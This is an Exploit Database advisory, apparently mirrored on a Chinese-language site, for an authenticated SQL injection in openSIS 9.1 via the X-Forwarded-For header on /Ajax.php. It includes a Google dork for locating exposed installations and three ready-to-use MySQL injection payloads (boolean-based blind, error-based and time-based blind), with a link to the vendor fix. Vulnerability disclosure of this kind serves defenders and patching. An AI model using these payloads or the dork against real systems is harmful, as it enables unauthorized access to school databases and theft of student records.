openSIS 9.1 – SQLi (Authenticated)

• Exploit Database
• 30 阅读

• 作者： Devrim Dıragumandan
  日期： 2024-10-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52080/

• # Exploit Title: openSIS 9.1 - SQLi (Authenticated)
  # Google Dork: intext:"openSIS is a product"
  # Date: 09.09.2024
  # Exploit Author: Devrim Dıragumandan (d0ub1edd)
  # Vendor Homepage: https://www.os4ed.com/
  # Software Link: https://github.com/OS4ED/openSIS-Classic/releases/tag/V9.1
  # Version: 9.1
  # Tested on: Linux
  
  A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v9.1 via the "X-Forwarded-For" header parameters in POST request sent to /Ajax.php. 
  
  GET /Ajax.php?modname=x HTTP/1.1
  
  ---
  Parameter: X-Forwarded-For #1* ((custom) HEADER)
  Type: boolean-based blind
  Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: 127.0.0.2' AND EXTRACTVALUE(5785,CASE WHEN (5785=5785) THEN 5785 ELSE 0x3A END) AND 'HVwG'='HVwG
  
  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: 127.0.0.2' AND GTID_SUBSET(CONCAT(0x717a787671,(SELECT (ELT(5261=5261,1))),0x71716b6b71),5261) AND 'djze'='djze
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: 127.0.0.2' AND (SELECT 5313 FROM (SELECT(SLEEP(5)))VeyP) AND 'ZIae'='ZIae
  --- 
  
  FIX: https://github.com/OS4ED/openSIS-Classic/pull/322